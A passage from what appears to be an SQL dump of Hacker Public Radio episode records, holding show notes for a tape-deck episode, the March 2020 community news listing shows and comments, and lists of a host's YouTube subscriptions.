here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2720\">HPR episode 2720 “<em>hpr2720 :: Download youtube channels using the rss feeds</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2720/youtube-rss.bash\"><code>youtube-rss.bash</code></a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cat_(Unix)\">Wikipedia article on <code>cat</code></a>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Cat_(Unix)#Useless_use_of_cat\">Useless use of <code>cat</code></a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,ShellCheck',0,0,1),
(2737,'2019-01-29','My Pioneer RT-707 Reel-to-Reel Tape Deck',1381,'An intro to more of my legacy audio equipment.','<p>I\'ve had this Pioneer RT-707 reel-to-reel tape deck for something like 10 years, but only recently started using it with enthusiasm. In this episode I talk about the tape deck, about the technology, and about my memories of using this kind of audio tape as a kid. I demonstrate playback of one of my parents\' mix tapes, and I also used this machine to record the last few minutes of the podcast onto a reel to reel tape, which of course I then had to transfer back to digital before submitting the show.</p>\r\n\r\n<p>Click image below to see a photo album relating to the tape deck.</p>\r\n\r\n<a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157705976621534\" title=\"Pioneer Reel-to-Reel Tape Deck\"><img src=\"https://hackerpublicradio.org/eps/hpr2737_46803567611_7e1583f534_z.jpg\" alt=\"Pioneer Reel-to-Reel Tape Deck\"></a>\r\n\r\n<p>Tape deck in action (video)</p>\r\n\r\n<p>\r\n<a href=\"https://www.youtube.com/embed/VezOKPwhZgg\"><img src=\"https://hackerpublicradio.org/eps/hpr2737_maxresdefault.jpg\" />\r\n</p>',238,0,0,'CC-BY-SA','audio, vintage audio, stereo components, audio tape, recording',0,0,1),
(3046,'2020-04-06','HPR Community News for March 2020',4545,'HPR Volunteers talk about shows released and comments posted in March 2020','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3021\" target=\"_blank\">3021</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-03-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3021\" target=\"_blank\">HPR Community News for February 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3022\" target=\"_blank\">3022</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-03-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3022\" target=\"_blank\">FOSDEM 2020 Stand Interviews</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3023\" target=\"_blank\">3023</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-03-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3023\" target=\"_blank\">Critique My Script, Episode 1 - Qots-Crew-Gen</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3024\" target=\"_blank\">3024</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-03-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3024\" target=\"_blank\">A funny thing happened the other day</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3025\" target=\"_blank\">3025</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-03-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3025\" target=\"_blank\">Keep unwanted messages off the Fediverse</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3026\" target=\"_blank\">3026</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-03-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3026\" target=\"_blank\">Hex Bug and Battle Bots</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3027\" target=\"_blank\">3027</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-03-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3027\" target=\"_blank\">What is quantum computing and why should we care?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=379\" target=\"_blank\">mightbemike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3028\" target=\"_blank\">3028</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-03-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3028\" target=\"_blank\">Monads and Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3029\" target=\"_blank\">3029</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-03-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3029\" target=\"_blank\">At Union Station with a train delay</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3030\" target=\"_blank\">3030</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-03-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3030\" target=\"_blank\">My new Samsung tablet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3031\" target=\"_blank\">3031</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-03-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3031\" target=\"_blank\">Daniel Persson - Me? Me!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3032\" target=\"_blank\">3032</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-03-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3032\" target=\"_blank\">piCore on a Raspberry Pi 1 Model B</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3033\" target=\"_blank\">3033</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-03-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3033\" target=\"_blank\">32 Bit Time Travel</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3034\" target=\"_blank\">3034</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-03-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3034\" target=\"_blank\">How to bridge Freenode IRC rooms to Matrix.org</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3035\" target=\"_blank\">3035</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-03-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3035\" target=\"_blank\">Decentralised Hashtag Search and Subscription in Federated Social Networks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3036\" target=\"_blank\">3036</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-03-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3036\" target=\"_blank\">WiiU is dead long live WiiU!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3037\" target=\"_blank\">3037</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-03-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3037\" target=\"_blank\">Ambient recording at Union Station</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3038\" target=\"_blank\">3038</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-03-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3038\" target=\"_blank\">Solo Magic</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3039\" target=\"_blank\">3039</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-03-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3039\" target=\"_blank\">Making a Raspberry Pi status display</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3040\" target=\"_blank\">3040</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-03-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3040\" target=\"_blank\">Why use GNU Autotools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3041\" target=\"_blank\">3041</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-03-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3041\" target=\"_blank\">How to use GNU Autotools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3042\" target=\"_blank\">3042</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-03-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3042\" target=\"_blank\">The COVID-19 Work From Home Stream - Day 0</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3009#comments\" target=\"_blank\">hpr3009</a></strong>\n(2020-02-13) \"<em>Linux Inlaws S01 E01</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3009#5\" target=\"_blank\">Comment 5</a>:\nbittin on 2020-03-05:\n\"yay\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3019#comments\" target=\"_blank\">hpr3019</a></strong>\n(2020-02-27) \"<em>Linux Inlaws S01E02 FOSDEM shenanigans</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3019#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2020-03-05:\n\"FLOSS Weekly #568\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 21 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3023#comments\" target=\"_blank\">hpr3023</a></strong>\n(2020-03-04) \"<em>Critique My Script, Episode 1 - Qots-Crew-Gen</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2020-03-04:\n\"Bash arithmetic\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2020-03-04:\n\"Another Bash-ism that might be useful\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#3\" target=\"_blank\">Comment 3</a>:\nnobody on 2020-03-04:\n\"There must be an easier way\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#4\" target=\"_blank\">Comment 4</a>:\nnobody on 2020-03-04:\n\"Little correction to my comment\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#5\" target=\"_blank\">Comment 5</a>:\nCarl on 2020-03-05:\n\"Thanks for the comments\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#6\" target=\"_blank\">Comment 6</a>:\nCarl on 2020-03-05:\n\"Thanks for the comments\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#7\" target=\"_blank\">Comment 7</a>:\nnobody on 2020-03-05:\n\"Re: Re:\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#8\" target=\"_blank\">Comment 8</a>:\nnobody on 2020-03-05:\n\"Standalone increment in ash\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#9\" target=\"_blank\">Comment 9</a>:\nCarl on 2020-03-05:\n\"Neat\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#10\" target=\"_blank\">Comment 10</a>:\nnobody on 2020-03-05:\n\"$(())\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3023#11\" target=\"_blank\">Comment 11</a>:\nCarl on 2020-03-05:\n\"Version 3\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3024#comments\" target=\"_blank\">hpr3024</a></strong>\n(2020-03-05) \"<em>A funny thing happened the other day</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3024#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2020-03-05:\n\"great storytelling\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3024#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2020-03-07:\n\"Re great storytelling\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3025#comments\" target=\"_blank\">hpr3025</a></strong>\n(2020-03-06) \"<em>Keep unwanted messages off the Fediverse</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3025#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2020-03-09:\n\"I disagree\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3025#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2020-03-09:\n\"Further discussion\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3026#comments\" target=\"_blank\">hpr3026</a></strong>\n(2020-03-09) \"<em>Hex Bug and Battle Bots</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3026#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2020-03-25:\n\"Great episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3028#comments\" target=\"_blank\">hpr3028</a></strong>\n(2020-03-11) \"<em>Monads and Haskell</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\" target=\"_blank\">crvs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3028#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2020-03-11:\n\"welcome!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3028#2\" target=\"_blank\">Comment 2</a>:\ncrvs on 2020-03-11:\n\"Re: welcome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3031#comments\" target=\"_blank\">hpr3031</a></strong>\n(2020-03-16) \"<em>Daniel Persson - Me? Me!</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3031#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2020-03-22:\n\"History\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3032#comments\" target=\"_blank\">hpr3032</a></strong>\n(2020-03-17) \"<em>piCore on a Raspberry Pi 1 Model B</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3032#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2020-03-26:\n\"Minimal distros are the best\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3034#comments\" target=\"_blank\">hpr3034</a></strong>\n(2020-03-19) \"<em>How to bridge Freenode IRC rooms to Matrix.org</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3034#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2020-03-22:\n\"Did not know this\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-March/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\">crvs</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 28 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2745,'2019-02-08','My YouTube Subscriptions #1',1262,'Part one of my list of subscribed channels','<p>I am subscribed to a number of YouTube channels, and I am sharing them with you</p>\r\n<ul>\r\n<li>Deep Look - <a href=\"https://www.youtube.com/channel/UC-3SbfTPJsL8fJAPKiVqBLg\" class=\"uri\">https://www.youtube.com/channel/UC-3SbfTPJsL8fJAPKiVqBLg</a></li>\r\n<li>Axanar - <a href=\"https://www.youtube.com/channel/UCxRrQIpejUXUi8i4mAbzSlg\" class=\"uri\">https://www.youtube.com/channel/UCxRrQIpejUXUi8i4mAbzSlg</a></li>\r\n<li>Lawrence Systems - <a href=\"https://www.youtube.com/channel/UCHkYOD-3fZbuGhwsADBd9ZQ\" class=\"uri\">https://www.youtube.com/channel/UCHkYOD-3fZbuGhwsADBd9ZQ</a></li>\r\n<li>Rick Beato - <a href=\"https://www.youtube.com/channel/UCJquYOG5EL82sKTfH9aMA9Q\" class=\"uri\">https://www.youtube.com/channel/UCJquYOG5EL82sKTfH9aMA9Q</a></li>\r\n<li>Wolters’ World - <a href=\"https://www.youtube.com/channel/UCFr3sz2t3bDp6Cux08B93KQ\" class=\"uri\">https://www.youtube.com/channel/UCFr3sz2t3bDp6Cux08B93KQ</a></li>\r\n<li>Fab Four Archivist - <a href=\"https://www.youtube.com/channel/UCxWFyPG8Qgj-1BVqC_r6rLg\" class=\"uri\">https://www.youtube.com/channel/UCxWFyPG8Qgj-1BVqC_r6rLg</a></li>\r\n<li>Fraser Cain - <a href=\"https://www.youtube.com/channel/UCogrSQkBJn1KF0N9I4oM7eQ\" class=\"uri\">https://www.youtube.com/channel/UCogrSQkBJn1KF0N9I4oM7eQ</a></li>\r\n<li>Science and Futurism with Isaac Arthur - <a href=\"https://www.youtube.com/channel/UCZFipeZtQM5CKUjx6grh54g\" class=\"uri\">https://www.youtube.com/channel/UCZFipeZtQM5CKUjx6grh54g</a></li>\r\n<li>Creativity RV - <a href=\"https://www.youtube.com/channel/UCigPwB_DERbV5BlwV4OY9mw\" class=\"uri\">https://www.youtube.com/channel/UCigPwB_DERbV5BlwV4OY9mw</a></li>\r\n<li>Drivin’ and Vibin’ - <a href=\"https://www.youtube.com/channel/UClkhrrakVty75SWLJIbcxDA\" class=\"uri\">https://www.youtube.com/channel/UClkhrrakVty75SWLJIbcxDA</a></li>\r\n<li>Hebard’s Travels - <a href=\"https://www.youtube.com/channel/UCQ5BTuWY7B0hTaa9zK0JKNg\" class=\"uri\">https://www.youtube.com/channel/UCQ5BTuWY7B0hTaa9zK0JKNg</a></li>\r\n<li>RV Roof Installation - <a href=\"https://www.youtube.com/channel/UCPbqiR5gZQukf6uk8waWcoA\" class=\"uri\">https://www.youtube.com/channel/UCPbqiR5gZQukf6uk8waWcoA</a></li>\r\n<li>Enjoy the Journey.Life - <a href=\"https://www.youtube.com/channel/UCuhIeTBsCysER-73DnGEegQ\" class=\"uri\">https://www.youtube.com/channel/UCuhIeTBsCysER-73DnGEegQ</a></li>\r\n<li>Geeks on Tour - <a href=\"https://www.youtube.com/channel/UCLM_wnCtDaGBWkYGQS4T6Bw\" class=\"uri\">https://www.youtube.com/channel/UCLM_wnCtDaGBWkYGQS4T6Bw</a></li>\r\n<li>History with Hilbert - <a href=\"https://www.youtube.com/channel/UC1Zc6_BhPXiCWZlrZP4EsEg\" class=\"uri\">https://www.youtube.com/channel/UC1Zc6_BhPXiCWZlrZP4EsEg</a></li>\r\n<li>Keep Your Daydream - <a href=\"https://www.youtube.com/channel/UCEhJLsShZt8McryMf_DHLZQ\" class=\"uri\">https://www.youtube.com/channel/UCEhJLsShZt8McryMf_DHLZQ</a></li>\r\n<li>Living Free Forever - <a href=\"https://www.youtube.com/channel/UCozdfxd0Z7EwZFnZpBkl9Pw\" class=\"uri\">https://www.youtube.com/channel/UCozdfxd0Z7EwZFnZpBkl9Pw</a></li>\r\n<li>Mike Lux Media - <a href=\"https://www.youtube.com/channel/UCBEHEEUFV6IFY7gF2xhyPYw\" class=\"uri\">https://www.youtube.com/channel/UCBEHEEUFV6IFY7gF2xhyPYw</a></li>\r\n<li>RV Love - <a href=\"https://www.youtube.com/channel/UCsjA83xRW2iaqPox8IbDLKQ\" class=\"uri\">https://www.youtube.com/channel/UCsjA83xRW2iaqPox8IbDLKQ</a></li>\r\n<li>Shadiversity - <a href=\"https://www.youtube.com/channel/UCkmMACUKpQeIxN9D9ARli1Q\" class=\"uri\">https://www.youtube.com/channel/UCkmMACUKpQeIxN9D9ARli1Q</a></li>\r\n<li>The Fit RV - <a href=\"https://www.youtube.com/channel/UCxPSwn42fcQlQdp8DTQGRUA\" class=\"uri\">https://www.youtube.com/channel/UCxPSwn42fcQlQdp8DTQGRUA</a></li>\r\n<li>The More We Explore - <a href=\"https://www.youtube.com/channel/UC33Loj6OxDXepBuc3ry0rMg\" class=\"uri\">https://www.youtube.com/channel/UC33Loj6OxDXepBuc3ry0rMg</a></li>\r\n<li>All About RVs - <a href=\"https://www.youtube.com/channel/UCAxGFcQGIzzyS9OdHijsaLg\" class=\"uri\">https://www.youtube.com/channel/UCAxGFcQGIzzyS9OdHijsaLg</a></li>\r\n<li><a href=\"https://www.palain.com/\" class=\"uri\">https://www.palain.com/</a></li>\r\n</ul>\r\n',198,106,0,'CC-BY-SA','YouTube, Channels, Subscriptions',0,0,1),
(2755,'2019-02-22','My YouTube Subscriptions #2',1329,'Part two of my list of subscribed channels','<p>I am subscribed to a number of YouTube channels, and I am sharing them with you</p>\r\n<ul>\r\n<li>Anthony Robustelli - <a href=\"https://www.youtube.com/channel/UCxgAH7EcmKhC9bLm7xQ971g\" class=\"uri\">https://www.youtube.com/channel/UCxgAH7EcmKhC9bLm7xQ971g</a></li>\r\n<li>Apple Scruff Radio - <a href=\"https://www.youtube.com/channel/UCGAFIXNYCwA7mJWMY5zFxzw\" class=\"uri\">https://www.youtube.com/channel/UCGAFIXNYCwA7mJWMY5zFxzw</a></li>\r\n<li>Arthur C Clarke Center for Human Imagination - <a href=\"https://www.youtube.com/channel/UCigIJEygfuAhNEc9kavK2QA\" class=\"uri\">https://www.youtube.com/channel/UCigIJEygfuAhNEc9kavK2QA</a></li>\r\n<li>Baker Street - <a href=\"https://www.youtube.com/channel/UC8IaZ7-169c2vl3GOehxa6w\" class=\"uri\">https://www.youtube.com/channel/UC8IaZ7-169c2vl3GOehxa6w</a></li>\r\n<li>BBC Earth Unplugged - <a href=\"https://www.youtube.com/channel/UCbwp5B-uDBy-fS4bDA0TEaw\" class=\"uri\">https://www.youtube.com/channel/UCbwp5B-uDBy-fS4bDA0TEaw</a></li>\r\n<li>Brain Stuff - <a href=\"https://www.youtube.com/channel/UCiefLm_nIz_gOH7XHbgpdCQ\" class=\"uri\">https://www.youtube.com/channel/UCiefLm_nIz_gOH7XHbgpdCQ</a></li>\r\n<li>Candyrat Records - <a href=\"https://www.youtube.com/channel/UCMJecdKUslHToOEpeuRGwXg\" class=\"uri\">https://www.youtube.com/channel/UCMJecdKUslHToOEpeuRGwXg</a></li>\r\n<li>Cheryl Brin - <a href=\"https://www.youtube.com/channel/UCtbMXq5siIn3l-u_HKbAmrw\" class=\"uri\">https://www.youtube.com/channel/UCtbMXq5siIn3l-u_HKbAmrw</a></li>\r\n<li>Colonial Airstream - <a href=\"https://www.youtube.com/channel/UCaZKKtI5caSI6-WO4zm3VGQ\" class=\"uri\">https://www.youtube.com/channel/UCaZKKtI5caSI6-WO4zm3VGQ</a></li>\r\n<li>Computerphile - <a href=\"https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA\" class=\"uri\">https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA</a></li>\r\n<li>Couch’s RV Nation - <a href=\"https://www.youtube.com/channel/UCvAONLxaOn8oc7PS33KN22Q\" class=\"uri\">https://www.youtube.com/channel/UCvAONLxaOn8oc7PS33KN22Q</a></li>\r\n<li>Darren Kitchen - <a href=\"https://www.youtube.com/channel/UCTkpeicFNBuHJCvp4LZEuvw\" class=\"uri\">https://www.youtube.com/channel/UCTkpeicFNBuHJCvp4LZEuvw</a></li>\r\n<li>Don Ross - <a 